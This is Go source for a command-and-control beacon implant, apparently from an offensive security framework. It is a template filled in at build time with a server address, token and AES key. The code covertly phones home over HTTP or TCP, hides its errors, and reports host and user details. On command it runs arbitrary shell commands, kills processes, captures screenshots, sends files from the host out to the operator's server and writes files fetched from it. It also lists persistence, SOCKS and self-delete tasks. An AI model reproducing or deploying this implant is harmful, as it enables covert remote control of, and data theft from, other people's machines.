mirror of
https://github.com/Ed1s0nZ/CyberStrikeAI.git
synced 2026-05-23 16:09:44 +02:00
1284 lines
32 KiB
Cheetah
1284 lines
32 KiB
Cheetah
// Code generated by CyberStrikeAI C2 payload builder. DO NOT EDIT.
|
||
// 此文件由 internal/c2/payload_builder.go 在生成 beacon 时填充并交叉编译。
|
||
// 占位符列表(构建时由 text/template 替换):
|
||
// {{.ServerURL}} e.g. http://1.2.3.4:8443
|
||
// {{.ImplantToken}} HTTP header X-Implant-Token 值
|
||
// {{.AESKeyB64}} 32-byte AES-256 base64
|
||
// {{.SleepSeconds}} 默认心跳间隔
|
||
// {{.JitterPercent}} 抖动百分比 0-100
|
||
// {{.CheckInPath}} 默认 /check_in
|
||
// {{.TasksPath}} 默认 /tasks
|
||
// {{.ResultPath}} 默认 /result
|
||
// {{.UploadPath}} 默认 /upload
|
||
// {{.FilePath}} 默认 /file/
|
||
// {{.UserAgent}} 默认 Mozilla/5.0 ...
|
||
// {{.Transport}} http | tcp(tcp 时使用 TCP 成帧协议 + 魔数 CSB1,与 tcp_reverse 监听器配套)
|
||
// {{.TCPDialAddr}} tcp 时回连地址 host:port;http 时为空
|
||
// {{.TransportMetadata}} 写入 check-in metadata.transport(http_beacon | tcp_beacon 等)
|
||
//
|
||
// 设计要点:
|
||
// - 无第三方依赖(仅标准库),CGO_ENABLED=0 即可跨平台编译;
|
||
// - 所有与服务端的交互均使用 AES-256-GCM 加密;
|
||
// - 任务异步并发执行(每个任务一个 goroutine),不阻塞主心跳循环;
|
||
// - 出错静默:避免 stderr/stdout 暴露 beacon 存在,panic 统一 recover。
|
||
package main
|
||
|
||
import (
|
||
"bytes"
|
||
"crypto/aes"
|
||
"crypto/cipher"
|
||
"crypto/rand"
|
||
"crypto/tls"
|
||
"encoding/base64"
|
||
"encoding/binary"
|
||
"encoding/json"
|
||
"fmt"
|
||
"io"
|
||
mrand "math/rand"
|
||
"net"
|
||
"net/http"
|
||
"os"
|
||
"os/exec"
|
||
"os/user"
|
||
"path/filepath"
|
||
"runtime"
|
||
"strings"
|
||
"sync"
|
||
"time"
|
||
)
|
||
|
||
// 编译期注入常量(text/template 替换)
|
||
const (
|
||
serverURL = "{{.ServerURL}}"
|
||
implantToken = "{{.ImplantToken}}"
|
||
aesKeyB64 = "{{.AESKeyB64}}"
|
||
defaultSleep = {{.SleepSeconds}}
|
||
defaultJitter = {{.JitterPercent}}
|
||
checkInPath = "{{.CheckInPath}}"
|
||
tasksPath = "{{.TasksPath}}"
|
||
resultPath = "{{.ResultPath}}"
|
||
uploadPath = "{{.UploadPath}}"
|
||
filePath = "{{.FilePath}}"
|
||
userAgent = "{{.UserAgent}}"
|
||
|
||
beaconTransport = "{{.Transport}}"
|
||
tcpDialAddr = "{{.TCPDialAddr}}"
|
||
transportMetaConst = "{{.TransportMetadata}}"
|
||
)
|
||
|
||
const tcpBeaconWireMax = 64 << 20
|
||
|
||
var (
|
||
implantUUID string
|
||
sessionID string
|
||
currentSleep = defaultSleep
|
||
currentJit = defaultJitter
|
||
cwdMu sync.Mutex
|
||
currentCwd string
|
||
httpClient *http.Client
|
||
// tcpTaskConn 在 TCP Beacon 同步执行任务时指向当前连接,供 fetchC2File 拉取服务端文件。
|
||
tcpTaskConn net.Conn
|
||
)
|
||
|
||
// CheckInResp 与服务端 ImplantCheckInResponse 对齐
|
||
type CheckInResp struct {
|
||
SessionID string `json:"session_id"`
|
||
NextSleep int `json:"next_sleep"`
|
||
NextJitter int `json:"next_jitter"`
|
||
HasTasks bool `json:"has_tasks"`
|
||
ServerTime int64 `json:"server_time"`
|
||
}
|
||
|
||
// TaskEnv 与服务端 TaskEnvelope 对齐
|
||
type TaskEnv struct {
|
||
TaskID string `json:"task_id"`
|
||
TaskType string `json:"task_type"`
|
||
Payload map[string]interface{} `json:"payload"`
|
||
}
|
||
|
||
// TaskReport 与服务端 TaskResultReport 对齐
|
||
type TaskReport struct {
|
||
TaskID string `json:"task_id"`
|
||
Success bool `json:"success"`
|
||
Output string `json:"output,omitempty"`
|
||
Error string `json:"error,omitempty"`
|
||
BlobBase64 string `json:"blob_b64,omitempty"`
|
||
BlobSuffix string `json:"blob_suffix,omitempty"`
|
||
StartedAt int64 `json:"started_at"`
|
||
EndedAt int64 `json:"ended_at"`
|
||
}
|
||
|
||
func main() {
|
||
defer func() { _ = recover() }()
|
||
implantUUID = generateImplantUUID()
|
||
currentCwd, _ = os.Getwd()
|
||
|
||
if beaconTransport == "tcp" {
|
||
runTCPBeaconForever()
|
||
return
|
||
}
|
||
|
||
httpClient = &http.Client{
|
||
Timeout: 60 * time.Second,
|
||
Transport: &http.Transport{
|
||
DisableKeepAlives: true,
|
||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
|
||
TLSHandshakeTimeout: 10 * time.Second,
|
||
},
|
||
}
|
||
|
||
for {
|
||
resp, err := checkIn()
|
||
if err == nil && resp != nil {
|
||
sessionID = resp.SessionID
|
||
if resp.NextSleep > 0 {
|
||
currentSleep = resp.NextSleep
|
||
}
|
||
if resp.NextJitter >= 0 {
|
||
currentJit = resp.NextJitter
|
||
}
|
||
if resp.HasTasks {
|
||
envs, err := fetchTasks()
|
||
if err == nil {
|
||
for _, env := range envs {
|
||
go handleTaskAsync(env)
|
||
}
|
||
}
|
||
}
|
||
}
|
||
time.Sleep(applyJitter(currentSleep, currentJit))
|
||
}
|
||
}
|
||
|
||
func runTCPBeaconForever() {
|
||
for {
|
||
conn, err := net.DialTimeout("tcp", tcpDialAddr, 45*time.Second)
|
||
if err != nil {
|
||
time.Sleep(applyJitter(currentSleep, currentJit))
|
||
continue
|
||
}
|
||
func() {
|
||
defer conn.Close()
|
||
if _, err := io.WriteString(conn, "CSB1"); err != nil {
|
||
return
|
||
}
|
||
tcpBeaconSessionLoop(conn)
|
||
}()
|
||
time.Sleep(applyJitter(currentSleep, currentJit))
|
||
}
|
||
}
|
||
|
||
func tcpWriteFrame(conn net.Conn, enc string) error {
|
||
b := []byte(enc)
|
||
if len(b) == 0 || len(b) > tcpBeaconWireMax {
|
||
return fmt.Errorf("bad tcp frame")
|
||
}
|
||
var hdr [4]byte
|
||
binary.BigEndian.PutUint32(hdr[:], uint32(len(b)))
|
||
if _, err := conn.Write(hdr[:]); err != nil {
|
||
return err
|
||
}
|
||
_, err := conn.Write(b)
|
||
return err
|
||
}
|
||
|
||
func tcpReadFrame(conn net.Conn) (string, error) {
|
||
var n uint32
|
||
if err := binary.Read(conn, binary.BigEndian, &n); err != nil {
|
||
return "", err
|
||
}
|
||
if n == 0 || int64(n) > int64(tcpBeaconWireMax) {
|
||
return "", fmt.Errorf("bad tcp frame size")
|
||
}
|
||
buf := make([]byte, n)
|
||
if _, err := io.ReadFull(conn, buf); err != nil {
|
||
return "", err
|
||
}
|
||
return string(buf), nil
|
||
}
|
||
|
||
func tcpRoundTrip(conn net.Conn, plainJSON []byte) ([]byte, error) {
|
||
enc, err := encryptGCM(plainJSON)
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
if err := tcpWriteFrame(conn, enc); err != nil {
|
||
return nil, err
|
||
}
|
||
_ = conn.SetReadDeadline(time.Now().Add(6 * time.Minute))
|
||
cipherB64, err := tcpReadFrame(conn)
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
return decryptGCM(cipherB64)
|
||
}
|
||
|
||
func tcpBeaconSessionLoop(conn net.Conn) {
|
||
for {
|
||
resp, err := tcpCheckIn(conn)
|
||
if err != nil || resp == nil {
|
||
return
|
||
}
|
||
sessionID = resp.SessionID
|
||
if resp.NextSleep > 0 {
|
||
currentSleep = resp.NextSleep
|
||
}
|
||
if resp.NextJitter >= 0 {
|
||
currentJit = resp.NextJitter
|
||
}
|
||
if resp.HasTasks {
|
||
envs, err := tcpFetchTasks(conn)
|
||
if err == nil {
|
||
for _, env := range envs {
|
||
handleTaskSyncTCP(conn, env)
|
||
}
|
||
}
|
||
}
|
||
_ = conn.SetReadDeadline(time.Time{})
|
||
time.Sleep(applyJitter(currentSleep, currentJit))
|
||
}
|
||
}
|
||
|
||
func tcpCheckInJSONBody() ([]byte, error) {
|
||
checkObj := map[string]interface{}{
|
||
"uuid": implantUUID,
|
||
"hostname": hostnameOrDefault(),
|
||
"username": currentUsername(),
|
||
"os": runtime.GOOS,
|
||
"arch": runtime.GOARCH,
|
||
"pid": os.Getpid(),
|
||
"process_name": filepath.Base(exeSelf()),
|
||
"is_admin": isAdminProcess(),
|
||
"internal_ip": firstInternalIP(),
|
||
"user_agent": userAgent,
|
||
"sleep_seconds": currentSleep,
|
||
"jitter_percent": currentJit,
|
||
"metadata": map[string]interface{}{
|
||
"transport": transportMetaConst,
|
||
"cwd": currentCwd,
|
||
},
|
||
}
|
||
rawCheck, err := json.Marshal(checkObj)
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
wire := map[string]interface{}{
|
||
"op": "check_in",
|
||
"token": implantToken,
|
||
"check": json.RawMessage(rawCheck),
|
||
}
|
||
return json.Marshal(wire)
|
||
}
|
||
|
||
func tcpCheckIn(conn net.Conn) (*CheckInResp, error) {
|
||
body, err := tcpCheckInJSONBody()
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
plain, err := tcpRoundTrip(conn, body)
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
var r CheckInResp
|
||
if err := json.Unmarshal(plain, &r); err != nil {
|
||
return nil, err
|
||
}
|
||
return &r, nil
|
||
}
|
||
|
||
func tcpFetchTasks(conn net.Conn) ([]TaskEnv, error) {
|
||
wire := map[string]interface{}{
|
||
"op": "tasks",
|
||
"token": implantToken,
|
||
"session_id": sessionID,
|
||
}
|
||
body, _ := json.Marshal(wire)
|
||
plain, err := tcpRoundTrip(conn, body)
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
var wrapper struct {
|
||
Tasks []TaskEnv `json:"tasks"`
|
||
}
|
||
if err := json.Unmarshal(plain, &wrapper); err != nil {
|
||
return nil, err
|
||
}
|
||
return wrapper.Tasks, nil
|
||
}
|
||
|
||
func tcpReportResult(conn net.Conn, report TaskReport) {
|
||
repRaw, err := json.Marshal(report)
|
||
if err != nil {
|
||
return
|
||
}
|
||
wire := map[string]interface{}{
|
||
"op": "result",
|
||
"token": implantToken,
|
||
"result": json.RawMessage(repRaw),
|
||
}
|
||
body, _ := json.Marshal(wire)
|
||
_, _ = tcpRoundTrip(conn, body)
|
||
}
|
||
|
||
func handleTaskSyncTCP(conn net.Conn, env TaskEnv) {
|
||
defer func() { _ = recover() }()
|
||
tcpTaskConn = conn
|
||
defer func() { tcpTaskConn = nil }()
|
||
start := time.Now()
|
||
output, blobB64, blobSuffix, errMsg := executeTask(env.TaskType, env.Payload)
|
||
report := TaskReport{
|
||
TaskID: env.TaskID,
|
||
Success: errMsg == "",
|
||
Output: output,
|
||
Error: errMsg,
|
||
BlobBase64: blobB64,
|
||
BlobSuffix: blobSuffix,
|
||
StartedAt: start.UnixMilli(),
|
||
EndedAt: time.Now().UnixMilli(),
|
||
}
|
||
tcpReportResult(conn, report)
|
||
}
|
||
|
||
func tcpFetchEncryptedFile(conn net.Conn, fileID string) ([]byte, error) {
|
||
fr, _ := json.Marshal(map[string]string{"file_id": fileID})
|
||
wire := map[string]interface{}{
|
||
"op": "file",
|
||
"token": implantToken,
|
||
"file": json.RawMessage(fr),
|
||
}
|
||
body, err := json.Marshal(wire)
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
plain, err := tcpRoundTrip(conn, body)
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
var wrapper struct {
|
||
FileData string `json:"file_data"`
|
||
}
|
||
if err := json.Unmarshal(plain, &wrapper); err != nil {
|
||
return nil, err
|
||
}
|
||
return base64.StdEncoding.DecodeString(wrapper.FileData)
|
||
}
|
||
|
||
func fetchC2FileByID(fileID string) ([]byte, error) {
|
||
if tcpTaskConn != nil {
|
||
return tcpFetchEncryptedFile(tcpTaskConn, fileID)
|
||
}
|
||
url := fmt.Sprintf("%s%s%s.bin", serverURL, filePath, fileID)
|
||
req, _ := http.NewRequest("GET", url, nil)
|
||
req.Header.Set("User-Agent", userAgent)
|
||
req.Header.Set("X-Implant-Token", implantToken)
|
||
resp, err := httpClient.Do(req)
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
defer resp.Body.Close()
|
||
if resp.StatusCode != 200 {
|
||
return nil, fmt.Errorf("download failed: %d", resp.StatusCode)
|
||
}
|
||
raw, err := io.ReadAll(resp.Body)
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
plain, err := decryptGCM(string(raw))
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
var wrapper struct {
|
||
FileData string `json:"file_data"`
|
||
}
|
||
if err := json.Unmarshal(plain, &wrapper); err != nil {
|
||
return nil, err
|
||
}
|
||
return base64.StdEncoding.DecodeString(wrapper.FileData)
|
||
}
|
||
|
||
func generateImplantUUID() string {
|
||
host, _ := os.Hostname()
|
||
mac := firstMACAddr()
|
||
return fmt.Sprintf("%s-%s-%d", host, mac, os.Getpid())
|
||
}
|
||
|
||
func firstMACAddr() string {
|
||
ifs, err := net.Interfaces()
|
||
if err != nil {
|
||
return "000000000000"
|
||
}
|
||
for _, i := range ifs {
|
||
if i.Flags&net.FlagLoopback != 0 || len(i.HardwareAddr) == 0 {
|
||
continue
|
||
}
|
||
return strings.ReplaceAll(i.HardwareAddr.String(), ":", "")
|
||
}
|
||
return "000000000000"
|
||
}
|
||
|
||
func firstInternalIP() string {
|
||
ifs, err := net.Interfaces()
|
||
if err != nil {
|
||
return ""
|
||
}
|
||
for _, i := range ifs {
|
||
if i.Flags&net.FlagLoopback != 0 || i.Flags&net.FlagUp == 0 {
|
||
continue
|
||
}
|
||
addrs, err := i.Addrs()
|
||
if err != nil {
|
||
continue
|
||
}
|
||
for _, a := range addrs {
|
||
ipnet, ok := a.(*net.IPNet)
|
||
if !ok || ipnet.IP.To4() == nil {
|
||
continue
|
||
}
|
||
return ipnet.IP.String()
|
||
}
|
||
}
|
||
return ""
|
||
}
|
||
|
||
func currentUsername() string {
|
||
u, err := user.Current()
|
||
if err != nil || u == nil {
|
||
return "unknown"
|
||
}
|
||
return u.Username
|
||
}
|
||
|
||
func isAdminProcess() bool {
|
||
if runtime.GOOS == "windows" {
|
||
_, err := os.Open(filepath.Join(os.Getenv("WINDIR"), "System32", "config", "SAM"))
|
||
return err == nil
|
||
}
|
||
return os.Geteuid() == 0
|
||
}
|
||
|
||
func hostnameOrDefault() string {
|
||
h, _ := os.Hostname()
|
||
if h == "" {
|
||
return "unknown"
|
||
}
|
||
return h
|
||
}
|
||
|
||
func exeSelf() string {
|
||
ex, _ := os.Executable()
|
||
if ex == "" {
|
||
return "unknown"
|
||
}
|
||
return ex
|
||
}
|
||
|
||
func applyJitter(baseSec, jitterPct int) time.Duration {
|
||
if baseSec <= 0 {
|
||
return 5 * time.Second
|
||
}
|
||
if jitterPct <= 0 {
|
||
return time.Duration(baseSec) * time.Second
|
||
}
|
||
if jitterPct > 100 {
|
||
jitterPct = 100
|
||
}
|
||
delta := mrand.Intn(2*jitterPct+1) - jitterPct
|
||
factor := 1.0 + float64(delta)/100.0
|
||
return time.Duration(float64(baseSec)*factor) * time.Second
|
||
}
|
||
|
||
func checkIn() (*CheckInResp, error) {
|
||
payload := map[string]interface{}{
|
||
"uuid": implantUUID,
|
||
"hostname": hostnameOrDefault(),
|
||
"username": currentUsername(),
|
||
"os": runtime.GOOS,
|
||
"arch": runtime.GOARCH,
|
||
"pid": os.Getpid(),
|
||
"process_name": filepath.Base(exeSelf()),
|
||
"is_admin": isAdminProcess(),
|
||
"internal_ip": firstInternalIP(),
|
||
"user_agent": userAgent,
|
||
"sleep_seconds": currentSleep,
|
||
"jitter_percent": currentJit,
|
||
"metadata": map[string]interface{}{
|
||
"transport": transportMetaConst,
|
||
"cwd": currentCwd,
|
||
},
|
||
}
|
||
body, _ := json.Marshal(payload)
|
||
enc, err := encryptGCM(body)
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
req, _ := http.NewRequest("POST", serverURL+checkInPath, bytes.NewReader([]byte(enc)))
|
||
req.Header.Set("User-Agent", userAgent)
|
||
req.Header.Set("X-Implant-Token", implantToken)
|
||
resp, err := httpClient.Do(req)
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
defer resp.Body.Close()
|
||
if resp.StatusCode != 200 {
|
||
return nil, fmt.Errorf("checkin status %d", resp.StatusCode)
|
||
}
|
||
raw, err := io.ReadAll(resp.Body)
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
plain, err := decryptGCM(string(raw))
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
var r CheckInResp
|
||
if err := json.Unmarshal(plain, &r); err != nil {
|
||
return nil, err
|
||
}
|
||
return &r, nil
|
||
}
|
||
|
||
func fetchTasks() ([]TaskEnv, error) {
|
||
url := fmt.Sprintf("%s%s?session_id=%s", serverURL, tasksPath, sessionID)
|
||
req, _ := http.NewRequest("GET", url, nil)
|
||
req.Header.Set("User-Agent", userAgent)
|
||
req.Header.Set("X-Implant-Token", implantToken)
|
||
resp, err := httpClient.Do(req)
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
defer resp.Body.Close()
|
||
if resp.StatusCode != 200 {
|
||
return nil, fmt.Errorf("fetch tasks status %d", resp.StatusCode)
|
||
}
|
||
raw, err := io.ReadAll(resp.Body)
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
plain, err := decryptGCM(string(raw))
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
var wrapper struct {
|
||
Tasks []TaskEnv `json:"tasks"`
|
||
}
|
||
if err := json.Unmarshal(plain, &wrapper); err != nil {
|
||
return nil, err
|
||
}
|
||
return wrapper.Tasks, nil
|
||
}
|
||
|
||
func reportResult(report TaskReport) {
|
||
body, _ := json.Marshal(report)
|
||
enc, err := encryptGCM(body)
|
||
if err != nil {
|
||
return
|
||
}
|
||
req, _ := http.NewRequest("POST", serverURL+resultPath, bytes.NewReader([]byte(enc)))
|
||
req.Header.Set("User-Agent", userAgent)
|
||
req.Header.Set("X-Implant-Token", implantToken)
|
||
resp, err := httpClient.Do(req)
|
||
if err != nil {
|
||
return
|
||
}
|
||
defer resp.Body.Close()
|
||
_, _ = io.ReadAll(resp.Body)
|
||
}
|
||
|
||
func getAESKey() ([]byte, error) {
|
||
return base64.StdEncoding.DecodeString(aesKeyB64)
|
||
}
|
||
|
||
func encryptGCM(plaintext []byte) (string, error) {
|
||
key, err := getAESKey()
|
||
if err != nil {
|
||
return "", err
|
||
}
|
||
block, err := aes.NewCipher(key)
|
||
if err != nil {
|
||
return "", err
|
||
}
|
||
gcm, err := cipher.NewGCM(block)
|
||
if err != nil {
|
||
return "", err
|
||
}
|
||
nonce := make([]byte, gcm.NonceSize())
|
||
if _, err := rand.Read(nonce); err != nil {
|
||
return "", err
|
||
}
|
||
ct := gcm.Seal(nil, nonce, plaintext, nil)
|
||
out := append(nonce, ct...)
|
||
return base64.StdEncoding.EncodeToString(out), nil
|
||
}
|
||
|
||
func decryptGCM(cipherText string) ([]byte, error) {
|
||
key, err := getAESKey()
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
raw, err := base64.StdEncoding.DecodeString(cipherText)
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
block, err := aes.NewCipher(key)
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
gcm, err := cipher.NewGCM(block)
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
ns := gcm.NonceSize()
|
||
if len(raw) < ns+16 {
|
||
return nil, fmt.Errorf("ciphertext too short")
|
||
}
|
||
nonce, ct := raw[:ns], raw[ns:]
|
||
return gcm.Open(nil, nonce, ct, nil)
|
||
}
|
||
|
||
func handleTaskAsync(env TaskEnv) {
|
||
defer func() { _ = recover() }()
|
||
start := time.Now()
|
||
output, blobB64, blobSuffix, errMsg := executeTask(env.TaskType, env.Payload)
|
||
report := TaskReport{
|
||
TaskID: env.TaskID,
|
||
Success: errMsg == "",
|
||
Output: output,
|
||
Error: errMsg,
|
||
BlobBase64: blobB64,
|
||
BlobSuffix: blobSuffix,
|
||
StartedAt: start.UnixMilli(),
|
||
EndedAt: time.Now().UnixMilli(),
|
||
}
|
||
reportResult(report)
|
||
}
|
||
|
||
func executeTask(taskType string, payload map[string]interface{}) (output, blobB64, blobSuffix, errMsg string) {
|
||
switch taskType {
|
||
case "exec":
|
||
return taskExec(payload)
|
||
case "shell":
|
||
return taskShell(payload)
|
||
case "pwd":
|
||
return taskPwd()
|
||
case "cd":
|
||
return taskCd(payload)
|
||
case "ls":
|
||
return taskLs(payload)
|
||
case "ps":
|
||
return taskPs()
|
||
case "kill_proc":
|
||
return taskKillProc(payload)
|
||
case "upload":
|
||
return taskUpload(payload)
|
||
case "download":
|
||
return taskDownload(payload)
|
||
case "screenshot":
|
||
return taskScreenshot()
|
||
case "sleep":
|
||
return taskSleep(payload)
|
||
case "port_fwd":
|
||
return taskPortForward(payload)
|
||
case "socks_start":
|
||
return taskSocksStart(payload)
|
||
case "socks_stop":
|
||
return taskSocksStop(payload)
|
||
case "load_assembly":
|
||
return taskLoadAssembly(payload)
|
||
case "persist":
|
||
return taskPersist(payload)
|
||
case "exit":
|
||
os.Exit(0)
|
||
return "", "", "", ""
|
||
case "self_delete":
|
||
return taskSelfDelete()
|
||
default:
|
||
return "", "", "", "unsupported task type: " + taskType
|
||
}
|
||
}
|
||
|
||
func shellByOS() string {
|
||
if runtime.GOOS == "windows" {
|
||
return "cmd"
|
||
}
|
||
return "/bin/sh"
|
||
}
|
||
|
||
func shellFlag() string {
|
||
if runtime.GOOS == "windows" {
|
||
return "/c"
|
||
}
|
||
return "-c"
|
||
}
|
||
|
||
func runWithTimeout(cmdStr string, timeoutSec int) (string, error) {
|
||
if timeoutSec <= 0 {
|
||
timeoutSec = 60
|
||
}
|
||
cmd := exec.Command(shellByOS(), shellFlag(), cmdStr)
|
||
cwdMu.Lock()
|
||
cmd.Dir = currentCwd
|
||
cwdMu.Unlock()
|
||
|
||
done := make(chan struct {
|
||
out []byte
|
||
err error
|
||
}, 1)
|
||
go func() {
|
||
out, err := cmd.CombinedOutput()
|
||
done <- struct {
|
||
out []byte
|
||
err error
|
||
}{out, err}
|
||
}()
|
||
select {
|
||
case res := <-done:
|
||
return string(res.out), res.err
|
||
case <-time.After(time.Duration(timeoutSec) * time.Second):
|
||
_ = cmd.Process.Kill()
|
||
return "", fmt.Errorf("timeout")
|
||
}
|
||
}
|
||
|
||
func getTimeoutFromPayload(payload map[string]interface{}) int {
|
||
to, _ := payload["timeout_seconds"].(float64)
|
||
if to <= 0 {
|
||
return 60
|
||
}
|
||
return int(to)
|
||
}
|
||
|
||
func taskExec(payload map[string]interface{}) (string, string, string, string) {
|
||
cmdStr, _ := payload["command"].(string)
|
||
if cmdStr == "" {
|
||
return "", "", "", "command is empty"
|
||
}
|
||
out, err := runWithTimeout(cmdStr, getTimeoutFromPayload(payload))
|
||
if err != nil {
|
||
return out, "", "", err.Error()
|
||
}
|
||
return out, "", "", ""
|
||
}
|
||
|
||
func taskShell(payload map[string]interface{}) (string, string, string, string) {
|
||
cmdStr, _ := payload["command"].(string)
|
||
if cmdStr == "" {
|
||
return "", "", "", "command is empty"
|
||
}
|
||
|
||
// Append a pwd/cd probe to the command so we can capture the real cwd
|
||
// after the user's command runs (e.g. "cd /tmp && ls" → cwd becomes /tmp).
|
||
var probe string
|
||
if runtime.GOOS == "windows" {
|
||
probe = " && cd"
|
||
} else {
|
||
probe = " && pwd"
|
||
}
|
||
combined := cmdStr + probe
|
||
|
||
out, err := runWithTimeout(combined, getTimeoutFromPayload(payload))
|
||
|
||
// The last line of output is the cwd from the probe command.
|
||
// Split it off so we don't return the probe output to the operator.
|
||
lines := strings.Split(strings.TrimRight(out, "\r\n"), "\n")
|
||
if len(lines) > 0 {
|
||
candidate := strings.TrimSpace(lines[len(lines)-1])
|
||
if filepath.IsAbs(candidate) {
|
||
if info, statErr := os.Stat(candidate); statErr == nil && info.IsDir() {
|
||
cwdMu.Lock()
|
||
currentCwd = candidate
|
||
cwdMu.Unlock()
|
||
out = strings.Join(lines[:len(lines)-1], "\n")
|
||
}
|
||
}
|
||
}
|
||
|
||
if err != nil {
|
||
return out, "", "", err.Error()
|
||
}
|
||
return out, "", "", ""
|
||
}
|
||
|
||
func taskPwd() (string, string, string, string) {
|
||
cwdMu.Lock()
|
||
cwd := currentCwd
|
||
cwdMu.Unlock()
|
||
return cwd, "", "", ""
|
||
}
|
||
|
||
func taskCd(payload map[string]interface{}) (string, string, string, string) {
|
||
path, _ := payload["path"].(string)
|
||
if path == "" {
|
||
return "", "", "", "path is empty"
|
||
}
|
||
cwdMu.Lock()
|
||
if !filepath.IsAbs(path) {
|
||
path = filepath.Join(currentCwd, path)
|
||
}
|
||
cwdMu.Unlock()
|
||
abs, err := filepath.Abs(path)
|
||
if err != nil {
|
||
return "", "", "", err.Error()
|
||
}
|
||
info, err := os.Stat(abs)
|
||
if err != nil {
|
||
return "", "", "", err.Error()
|
||
}
|
||
if !info.IsDir() {
|
||
return "", "", "", "not a directory"
|
||
}
|
||
cwdMu.Lock()
|
||
currentCwd = abs
|
||
cwdMu.Unlock()
|
||
return abs, "", "", ""
|
||
}
|
||
|
||
func taskLs(payload map[string]interface{}) (string, string, string, string) {
|
||
path, _ := payload["path"].(string)
|
||
if path == "" {
|
||
path = "."
|
||
}
|
||
cwdMu.Lock()
|
||
if !filepath.IsAbs(path) {
|
||
path = filepath.Join(currentCwd, path)
|
||
}
|
||
cwdMu.Unlock()
|
||
entries, err := os.ReadDir(path)
|
||
if err != nil {
|
||
return "", "", "", err.Error()
|
||
}
|
||
var lines []string
|
||
for _, e := range entries {
|
||
info, _ := e.Info()
|
||
if info != nil {
|
||
lines = append(lines, fmt.Sprintf("%s\t%s\t%d\t%s",
|
||
e.Type().String(), info.Mode().String(), info.Size(), e.Name()))
|
||
} else {
|
||
lines = append(lines, e.Name())
|
||
}
|
||
}
|
||
return strings.Join(lines, "\n"), "", "", ""
|
||
}
|
||
|
||
func taskPs() (string, string, string, string) {
|
||
if runtime.GOOS == "windows" {
|
||
out, err := runWithTimeout("tasklist", 30)
|
||
if err != nil {
|
||
return out, "", "", err.Error()
|
||
}
|
||
return out, "", "", ""
|
||
}
|
||
out, err := runWithTimeout("ps aux", 30)
|
||
if err != nil {
|
||
return out, "", "", err.Error()
|
||
}
|
||
return out, "", "", ""
|
||
}
|
||
|
||
func taskKillProc(payload map[string]interface{}) (string, string, string, string) {
|
||
pidFloat, _ := payload["pid"].(float64)
|
||
pid := int(pidFloat)
|
||
if pid <= 0 {
|
||
return "", "", "", "invalid pid"
|
||
}
|
||
proc, err := os.FindProcess(pid)
|
||
if err != nil {
|
||
return "", "", "", err.Error()
|
||
}
|
||
if err := proc.Kill(); err != nil {
|
||
return "", "", "", err.Error()
|
||
}
|
||
return "killed", "", "", ""
|
||
}
|
||
|
||
func taskUpload(payload map[string]interface{}) (string, string, string, string) {
|
||
remotePath, _ := payload["remote_path"].(string)
|
||
fileID, _ := payload["file_id"].(string)
|
||
if remotePath == "" || fileID == "" {
|
||
return "", "", "", "remote_path or file_id empty"
|
||
}
|
||
data, err := fetchC2FileByID(fileID)
|
||
if err != nil {
|
||
return "", "", "", err.Error()
|
||
}
|
||
if err := os.WriteFile(remotePath, data, 0644); err != nil {
|
||
return "", "", "", err.Error()
|
||
}
|
||
return fmt.Sprintf("uploaded %d bytes to %s", len(data), remotePath), "", "", ""
|
||
}
|
||
|
||
func taskDownload(payload map[string]interface{}) (string, string, string, string) {
|
||
remotePath, _ := payload["remote_path"].(string)
|
||
if remotePath == "" {
|
||
return "", "", "", "remote_path empty"
|
||
}
|
||
data, err := os.ReadFile(remotePath)
|
||
if err != nil {
|
||
return "", "", "", err.Error()
|
||
}
|
||
// File data goes through the standard encrypted result channel via blob_b64
|
||
b64 := base64.StdEncoding.EncodeToString(data)
|
||
suffix := filepath.Ext(remotePath)
|
||
return fmt.Sprintf("downloaded %d bytes from %s", len(data), remotePath), b64, suffix, ""
|
||
}
|
||
|
||
func taskScreenshot() (string, string, string, string) {
|
||
var b64Out string
|
||
var err error
|
||
switch runtime.GOOS {
|
||
case "darwin":
|
||
b64Out, err = runWithTimeout("screencapture -x /tmp/.cs_ss.png && base64 /tmp/.cs_ss.png && rm -f /tmp/.cs_ss.png", 30)
|
||
case "linux":
|
||
b64Out, err = runWithTimeout("import -window root /tmp/.cs_ss.png 2>/dev/null && base64 /tmp/.cs_ss.png && rm -f /tmp/.cs_ss.png", 30)
|
||
case "windows":
|
||
ps := `Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $b=New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width,[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $g=[System.Drawing.Graphics]::FromImage($b); $g.CopyFromScreen([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Location,[System.Drawing.Point]::Empty,$b.Size); $m=New-Object IO.MemoryStream; $b.Save($m,[System.Drawing.Imaging.ImageFormat]::Png); [Convert]::ToBase64String($m.ToArray())`
|
||
b64Out, err = runWithTimeout(fmt.Sprintf("powershell -NoProfile -NonInteractive -Command \"%s\"", ps), 30)
|
||
default:
|
||
return "", "", "", "screenshot not supported on " + runtime.GOOS
|
||
}
|
||
if err != nil {
|
||
return "", "", "", err.Error()
|
||
}
|
||
b64Out = strings.TrimSpace(b64Out)
|
||
return "screenshot captured", b64Out, ".png", ""
|
||
}
|
||
|
||
